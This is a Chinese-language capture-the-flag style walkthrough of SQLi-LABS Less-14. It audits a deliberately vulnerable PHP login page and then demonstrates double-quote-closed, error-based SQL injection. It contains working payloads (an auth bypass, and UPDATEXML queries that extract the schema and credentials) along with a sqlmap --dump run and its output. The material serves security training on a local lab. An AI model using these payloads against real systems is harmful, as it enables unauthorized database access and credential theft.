sqli-labs通关笔记-第14关 POST报错型注入(双引号闭合 手工注入+脚本注入两种方法)
目录
目录
一、报错注入
二、GET方法与POST方法
三、源码分析
1、代码审计
2、SQL注入安全分析
四、渗透实战
1、进入靶场
2、注入点分析
(1)SQL语句
(2)admin\" #注入探测
(3)admin\" or 1=1#注入探测
3、手工注入
(1)获取数据库名
(2)获取表名
(3)获取列名
(4)获取数据
4、sqlmap渗透实战
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节通过手工注入和脚本注入共2种方法对第14关Less 14基于POST字符型的SQL报错注入关卡进行渗透实战,相对于第13关区别主要是闭合方式由单引号括号变为双引号。
一、报错注入
字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。
报错注入(Error-based SQL Injection)是一种利用数据库错误消息获取敏感信息的SQL注入技术。其核心原理是故意构造非法SQL语句触发数据库错误,使错误信息中包含所需数据。
updatexml()
、extractvalue()
、floor(rand())
、exp()
\' AND updatexml(1,concat(0x7e,(SELECT @@version)),1)--
报错法和UNION法是SQL注入中两种主要的SQL注入方法,具体使用区别如下所示。
二、GET方法与POST方法
GET 和 POST 是 HTTP 协议中两种常用请求方法,GET 侧重 “获取”,参数可见且有局限性;POST 侧重 “提交”,参数隐蔽且更灵活。两者的详细区别如下表所示。
?name=value
)id=1\' OR 1=1 --
)username
)三、源码分析
1、代码审计
本关卡Less14是基于字符型的SQL报错注入关卡,打开对应的源码index.php,如下所示。
Less14关卡的源码功能是登录验证页面,与13关的区别主要是闭合方式由单引号括号变为双引号。相同之处是两者登录成功后不再显示用户名和密码,具体如下所示。
详细注释后的源码如下所示。
Less-14- Double Injection- Double quotes- String Welcome Dhakkan
Username : Password : <?php// 包含MySQL连接配置文件include(\"../sql-connections/sqli-connect.php\");// 关闭PHP错误报告error_reporting(0);// 检查是否提交了用户名和密码if(isset($_POST[\'uname\']) && isset($_POST[\'passwd\'])){ $uname = $_POST[\'uname\']; // 获取用户名 $passwd = $_POST[\'passwd\']; // 获取密码 // 记录用户输入到日志文件 $fp = fopen(\'result.txt\',\'a\'); fwrite($fp,\'User Name:\'.$uname.\"\\n\"); fwrite($fp,\'Password:\'.$passwd.\"\\n\"); fclose($fp); // 关键风险点:用双引号包裹用户输入 $uname = \'\"\'.$uname.\'\"\'; // 用户名添加双引号 $passwd = \'\"\'.$passwd.\'\"\'; // 密码添加双引号 // 构造SQL查询 - 直接拼接双引号包裹的输入 @$sql = \"SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1\"; $result = mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH); if($row) { // 登录成功 echo \"
\"; echo \'\'; echo \'\'; // 注意:用户名和密码输出被注释掉 echo \"\"; echo \"
\"; echo \"
\"; echo \'
\'; // 成功标志图片 } else { // 登录失败 echo \'\'; print_r(mysqli_error($con1)); // 关键风险点:显示数据库错误信息 echo \"\"; echo \"\"; echo \"\"; echo \'
\'; // 失败图片 echo \"\"; }}?>
这是一个参数为用户名和密码的基于POST请求登录表单的登录验证页面,存在基于错误的SQL注入风险,通过用户名和密码字段的直接拼接构造SQL查询,并显示数据库错误信息,主要功能是:
-
提供用户名和密码的登录表单(POST方法提交)
-
自动用双引号包裹输入值(
$uname = \'\"\'.$uname.\'\"\'
) -
记录所有登录尝试到result.txt日志文件
-
响应处理:
-
登录成功:仅显示成功图片(不显示具体用户信息,无法使用union法注入)
-
登录失败:显示数据库错误信息和失败图片
-
-
关键风险点:显示详细的MySQL错误信息(有助于报错法注入)
2、SQL注入安全分析
这个代码存在严重的SQL注入安全问题,原因如下:
-
未过滤的用户输入:直接将POST参数包裹双引号后拼接到SQL语句中,没有任何过滤或转义处理,如下所示。
$uname = $_POST[\'uname\'];$passwd = $_POST[\'passwd\'];$uname = \'\"\'.$uname.\'\"\'; // 用户名添加双引号$passwd = \'\"\'.$passwd.\'\"\'; // 密码添加双引号@$sql = \"SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1\";
-
字符串拼接方式:SQL查询使用双引号包裹用户输入,攻击者可以闭合双引号注入恶意代码。
-
错误信息显示:当SQL查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。
四、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://127.0.0.1/sqli-labs/
其中第14关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。
http://127.0.0.1/sqli-labs/#fm_imagemap
点击上图红框的Less14关卡,进入到靶场的第14关卡字符型POST报错注入关卡,页面提示登录框,需要输入用户名和密码,具体如下所示。
http://192.168.59.1/sqli-labs/Less-14/
2、注入点分析
(1)SQL语句
根据源码分析可知,本关卡通过 POST 方法接收用户名(username)和密码(passwd),通过双引号包裹用户名和密码字段构造SQL查询。登录成功时显示成功图片;失败时通过mysqli_error($con1)
直接返回数据库错误信息,导致可利用报错注入(如UPDATEXML
函数)泄露数据。具体代码如下所示。
$uname = $_POST[\'uname\'];$passwd = $_POST[\'passwd\'];$uname = \'\"\'.$uname.\'\"\'; // 用户名添加双引号$passwd = \'\"\'.$passwd.\'\"\'; // 密码添加双引号@$sql = \"SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1\";
页面整体基于错误回显的字符串型注入场景,核心根源在于未对输入做安全处理且暴露数据库错误细节,闭合方式为双引号,故而本关卡可以通过POST方法字符型报错注入进行渗透。
(2)admin\" #注入探测
bp开启拦截报文,根据上一步我们分析注入点为username和passwd,用户名为admin\" #,密码任意,因admin用户存在,故而页面显示登录成功的图标,如下所示。
点击登录submit,只是有个提示登录成功的图片,具体如下所示。
(3)admin\" or 1=1#注入探测
根据上一步我们分析注入点为username和passwd,尝试万能登录,用户名为admin\" or 1=1#,密码任意,如下所示。
admin\" or 1=1#
点击登录submit,登录成功,页面显示登录成功的图片,具体如下所示。
在burpsuite的历史记录中找到这个报文,抓包效果如下所示。
此时在报文request请求部分右键,选择copy to file并保存为sqli-labs14.txt,如下所示。
3、手工注入
(1)获取数据库名
如下所示,数据库的名称为“security”。
admin\" AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--
(2)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
admin\" AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--
(3)获取列名
如下所示,数据库users表的列名分别为id,username,password。
admin\" AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=\'users\'),0x7e),1)--
(4)获取数据
最后通过上一步获取到的列名来提取users表的第一行的username和password内容,如下所示渗透成功。
admin\" AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,\':\',password) FROM users LIMIT 0,1),0x7e),1)--
4、sqlmap渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -r sqli-labs14.txt --current-db --dump --batch
其中sqli-labs14.txt中的注入点被修改为如下所示。
POST /sqli-labs/Less-14/ HTTP/1.1Host: 192.168.59.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://192.168.59.1/sqli-labs/Less-14/DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 51uname=admin&passwd=&submit=Submit
sqlmap渗透成功,可以通过报错法、时间盲注等方法渗透成功,具体信息如下所示。
POST parameter \'uname\' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 1099 HTTP(s) requests:---Parameter: uname (POST) Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: uname=admin\" AND GTID_SUBSET(CONCAT(0x716a7a7671,(SELECT (ELT(6281=6281,1))),0x71767a7671),6281)-- uxNu&passwd=&submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: uname=admin\" AND (SELECT 4143 FROM (SELECT(SLEEP(5)))bKkx)-- Yddu&passwd=&submit=Submit---[02:49:14] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.5.9, Apache 2.4.39back-end DBMS: MySQL >= 5.6[02:49:14] [INFO] fetching current database[02:49:14] [INFO] retrieved: \'security\'current database: \'security\'Table: users[13 entries]+----+------------+----------+| id | password | username |+----+------------+----------+| 1 | Dumb | Dumb || 2 | I-kill-you | Angelina || 3 | p@ssword | Dummy || 4 | crappy | secure || 5 | stupidity | stupid || 6 | genious | superman || 7 | mob!le | batman || 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 12 | dumbo | dhakkan || 14 | admin4 | admin4 |+----+------------+----------+